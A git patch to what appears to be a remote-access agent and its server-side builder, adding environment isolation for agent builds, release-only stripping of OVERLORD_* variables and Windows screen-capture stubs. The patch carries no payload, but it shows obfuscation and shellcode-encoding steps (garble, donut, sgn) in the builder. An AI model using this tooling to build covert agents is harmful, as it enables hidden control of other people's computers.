From 2f1298eead489ef961095c256f55b8856ccd45f5 Mon Sep 17 00:00:00 2001 From: KingKDot Date: Sun, 12 Jul 2026 15:34:31 -0500 Subject: [PATCH] fix this other shit and improve building --- .dockerignore | 3 ++ .../cmd/agent/builder_environment.go | 17 ++++++++++ .../cmd/agent/builder_environment_dev.go | 5 +++ .../cmd/agent/capture/virtual_stub.go | 32 ++++++++++++++++++- Overlord-Client/cmd/agent/main.go | 1 + Overlord-Server/src/auth.test.ts | 10 ++---- .../src/server/build-environment.ts | 32 +++++++++++++++++++ .../src/server/build-process-env.test.ts | 22 +++++++++++++ Overlord-Server/src/server/build-process.ts | 17 ++++++++-- 9 files changed, 127 insertions(+), 12 deletions(-) create mode 100644 Overlord-Client/cmd/agent/builder_environment.go create mode 100644 Overlord-Client/cmd/agent/builder_environment_dev.go create mode 100644 Overlord-Server/src/server/build-environment.ts create mode 100644 Overlord-Server/src/server/build-process-env.test.ts diff --git a/.dockerignore b/.dockerignore index bdcde1f..eeef4de 100644 --- a/.dockerignore +++ b/.dockerignore @@ -12,6 +12,9 @@ # Configuration (contains secrets) **/config.json +# Environment files are local/dev-only and must never enter an image build context. +**/.env* + # Certificates **/certs/ **/*.crt diff --git a/Overlord-Client/cmd/agent/builder_environment.go b/Overlord-Client/cmd/agent/builder_environment.go new file mode 100644 index 0000000..a72e849 --- /dev/null +++ b/Overlord-Client/cmd/agent/builder_environment.go @@ -0,0 +1,17 @@ +//go:build builder_release + +package main + +import ( + "os" + "strings" +) + +func sanitizeBuilderEnvironment() { + for _, entry := range os.Environ() { + name, _, ok := strings.Cut(entry, "=") + if ok && strings.HasPrefix(strings.ToUpper(name), "OVERLORD_") { + _ = os.Unsetenv(name) + } + } +} diff --git a/Overlord-Client/cmd/agent/builder_environment_dev.go b/Overlord-Client/cmd/agent/builder_environment_dev.go new file mode 100644 index 0000000..2b48ab9 --- /dev/null +++ b/Overlord-Client/cmd/agent/builder_environment_dev.go @@ -0,0 +1,5 @@ +//go:build !builder_release + +package main + +func sanitizeBuilderEnvironment() {} diff --git a/Overlord-Client/cmd/agent/capture/virtual_stub.go b/Overlord-Client/cmd/agent/capture/virtual_stub.go index 3d9ae42..93dcb1f 100644 --- a/Overlord-Client/cmd/agent/capture/virtual_stub.go +++ b/Overlord-Client/cmd/agent/capture/virtual_stub.go @@ -2,7 +2,15 @@ package capture -import "image" +import ( + "errors" + "image" + "time" + + "overlord-client/cmd/agent/wire" +) + +var errVirtualCaptureUnsupported = errors.New("virtual capture is only supported on Windows") func InitializevirtualMode() error { return nil @@ -16,6 +24,28 @@ func VirtualMonitorCount() int { return 0 } +func VirtualTryDirectH264Frame() (wire.Frame, time.Duration, time.Duration, bool, error) { + return wire.Frame{}, 0, 0, false, nil +} + +func VirtualCaptureNormal() (*image.RGBA, error) { + return nil, errVirtualCaptureUnsupported +} + +func VirtualCaptureDisplay() (*image.RGBA, error) { + return nil, errVirtualCaptureUnsupported +} + +func VirtualCaptureGDI() (*image.RGBA, error) { + return nil, errVirtualCaptureUnsupported +} + +func VirtualCaptureDisplayFallback() (*image.RGBA, error) { + return nil, errVirtualCaptureUnsupported +} + +func VirtualResetDXGI() {} + func virtualCaptureDisplay() (*image.RGBA, error) { return nil, nil } diff --git a/Overlord-Client/cmd/agent/main.go b/Overlord-Client/cmd/agent/main.go index fad2ae1..068154a 100644 --- a/Overlord-Client/cmd/agent/main.go +++ b/Overlord-Client/cmd/agent/main.go @@ -12,6 +12,7 @@ import ( func main() { //garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2 + sanitizeBuilderEnvironment() installHardCrashReporter() cfg := config.Load() diff --git a/Overlord-Server/src/auth.test.ts b/Overlord-Server/src/auth.test.ts index 50118dd..aec8edb 100644 --- a/Overlord-Server/src/auth.test.ts +++ b/Overlord-Server/src/auth.test.ts @@ -47,19 +47,13 @@ describe("auth token extraction", () => { }); describe("login branding", () => { - test("returns default public login branding", async () => { + test("returns configured public login branding", async () => { const url = new URL("https://localhost/api/login/branding"); const res = await handleAuthRoutes(new Request(url), url, mockServer); expect(res?.status).toBe(200); const body = (await res!.json()) as any; - expect(body.productName).toBe("Overlord"); - expect(body.navName).toBe("Overlord"); - expect(body.title).toBe("Welcome back"); - expect(body.logoUrl).toBe(""); - expect(body.navLogoUrl).toBe(""); - expect(body.heroImageUrl).toBe(""); - expect(body.accentColor).toBe("#7a5bff"); + expect(body).toEqual(originalAppearance.loginBranding); }); test("returns sanitized enterprise branding fields", async () => { diff --git a/Overlord-Server/src/server/build-environment.ts b/Overlord-Server/src/server/build-environment.ts new file mode 100644 index 0000000..7dd7026 --- /dev/null +++ b/Overlord-Server/src/server/build-environment.ts @@ -0,0 +1,32 @@ +// Agent builds must not inherit the server's environment. Bun may populate +// process.env from local .env files, and blindly forwarding it can expose +// secrets or make otherwise identical UI builds depend on the host machine. +// Keep only the small OS baseline required to locate and execute toolchains; +// target-specific Go/compiler variables are added explicitly by the builder. +const BUILD_ENV_BASELINE_KEYS = [ + "PATH", + "Path", + "HOME", + "TMPDIR", + "TMP", + "TEMP", + "SYSTEMROOT", + "SystemRoot", + "WINDIR", + "COMSPEC", + "PATHEXT", + "USERPROFILE", + "HOMEDRIVE", + "HOMEPATH", +] as const; + +export function createIsolatedBuildEnv( + source: NodeJS.ProcessEnv = process.env, +): NodeJS.ProcessEnv { + const isolated: NodeJS.ProcessEnv = {}; + for (const key of BUILD_ENV_BASELINE_KEYS) { + const value = source[key]; + if (value !== undefined) isolated[key] = value; + } + return isolated; +} diff --git a/Overlord-Server/src/server/build-process-env.test.ts b/Overlord-Server/src/server/build-process-env.test.ts new file mode 100644 index 0000000..f43a5f8 --- /dev/null +++ b/Overlord-Server/src/server/build-process-env.test.ts @@ -0,0 +1,22 @@ +import { describe, expect, test } from "bun:test"; +import { createIsolatedBuildEnv } from "./build-environment"; + +describe("builder environment isolation", () => { + test("drops ambient and .env-derived values", () => { + const env = createIsolatedBuildEnv({ + PATH: "/toolchain/bin", + HOME: "/builder", + TEMP: "/tmp", + JWT_SECRET: "must-not-leak", + OVERLORD_AGENT_TOKEN: "must-not-leak", + CUSTOM_BUILD_FLAG: "must-not-leak", + GOFLAGS: "must-not-affect-build", + }); + + expect(env).toEqual({ + PATH: "/toolchain/bin", + HOME: "/builder", + TEMP: "/tmp", + }); + }); +}); diff --git a/Overlord-Server/src/server/build-process.ts b/Overlord-Server/src/server/build-process.ts index 31a8590..4d90837 100644 --- a/Overlord-Server/src/server/build-process.ts +++ b/Overlord-Server/src/server/build-process.ts @@ -22,6 +22,7 @@ import { runDonut } from "./donut-manager"; import { buildLinuxShellcode } from "./linux-shellcode-manager"; import { runSgn } from "./sgn-manager"; import { resolveContainedPath } from "./upload-security"; +import { createIsolatedBuildEnv } from "./build-environment"; function isClientModuleDir(dir: string): boolean { return ( @@ -749,7 +750,8 @@ export async function startBuildProcess( if (hasAssemblyData && hasWindowsTargets) { sendToStream({ type: "status", text: "Generating Windows resource data..." }); - const goEnvResult = await $`go env GOPATH`.quiet(); + const isolatedBuildEnv = createIsolatedBuildEnv(); + const goEnvResult = await $`go env GOPATH`.env(isolatedBuildEnv).quiet(); const goPath = goEnvResult.stdout.toString().trim(); const goBinDir = process.env.GOBIN || (goPath ? path.join(goPath, "bin") : ""); const winresExe = process.platform === "win32" ? "go-winres.exe" : "go-winres"; @@ -766,7 +768,7 @@ export async function startBuildProcess( } catch { try { sendToStream({ type: "output", text: "Installing go-winres...\n", level: "info" }); - await $`go install github.com/tc-hib/go-winres@latest`.env({ ...process.env, GOMODCACHE: goModCacheDir }).quiet(); + await $`go install github.com/tc-hib/go-winres@latest`.env({ ...isolatedBuildEnv, GOMODCACHE: goModCacheDir }).quiet(); if (goBinDir && fs.existsSync(path.join(goBinDir, winresExe))) { winresBin = path.join(goBinDir, winresExe); hasWinres = true; @@ -1051,7 +1053,7 @@ func runBoundFiles() { sendToStream({ type: "output", text: `\n=== Building ${platform} ===\n`, level: "info" }); const env: NodeJS.ProcessEnv = { - ...process.env, + ...createIsolatedBuildEnv(), GOOS: effectiveOs, GOARCH: actualArch, CGO_ENABLED: config.disableCgo === true ? "0" : "1", @@ -1331,6 +1333,9 @@ func runBoundFiles() { // Base tags: always present regardless of build pass let baseTags: string[] = []; + // UI-builder artifacts ignore runtime OVERLORD_* environment overrides. + // Direct go run/test builds (including start-dev.bat) do not carry this tag. + baseTags.push("builder_release"); if (config.enableNvenc === false) baseTags.push("no_nvenc"); if (config.enableAmf === false) baseTags.push("no_amf"); if (config.enableQsv === false) baseTags.push("no_qsv"); @@ -1420,6 +1425,12 @@ func runBoundFiles() { continue; } + // A plugin may replace the tag list, but cannot disable the builder's + // environment-isolation contract. + if (!baseTags.includes("builder_release")) { + baseTags.push("builder_release"); + } + const runBuild = async (tags: string[], outputPath: string) => { const buildArgs: string[] = []; if (tags.length > 0) buildArgs.push("-tags", tags.join(" "));